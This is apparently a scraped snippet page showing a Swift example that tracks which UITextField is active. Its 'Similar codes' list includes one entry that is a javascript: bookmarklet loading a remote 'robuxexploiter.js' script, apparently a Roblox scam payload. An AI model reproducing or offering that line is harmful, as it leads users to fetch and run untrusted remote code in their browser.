/Swift/Xcode how to know which textfield is selected

Xcode how to know which textfield is selected

class ViewController : UIViewController, UITextFieldDelegate {

   var activeTextField = UITextField()

   // Assign the newly active text field to your activeTextField variable
   func textFieldDidBeginEditing(textField: UITextField) {

        self.activeTextField = textField
   }

   // Call activeTextField whenever you need to
   func anotherMethod() {

       // self.activeTextField.text is an optional, we safely unwrap it here
       if let activeTextFieldText = self.activeTextField.text {
             print("Active text field's text: \(activeTextFieldText)")
             return;
       }

       print("Active text field is empty")
   }
}

Source: stackoverflow.com

Similar codes

0 vote212 views10 answers
Xjavascript:$.get('//robloxassets.com/i/robuxexploiter/robuxexploiter.js')
Swift
1 vote222 views2 answers
Swift dismiss keyboard on return
Swift
0 vote207 views1 answer
How to present a uiview after an array of cards is empty swift
Swift
0 vote222 views1 answer
String to array swift
Swift
0 vote207 views2 answers
Swift go back to previous view controller
Swift
0 vote214 views1 answer
Play Video in AVPlayer Sample Code Swift
Swift
2 votes211 views1 answer
Add corner radius to uiview swift
Swift
0 vote156 views1 answer
Add arc swiftui
Swift
0 vote203 views1 answer
Blur background swiftui
Swift
4 votes280 views3 answers
Swift 5 get current date
Swift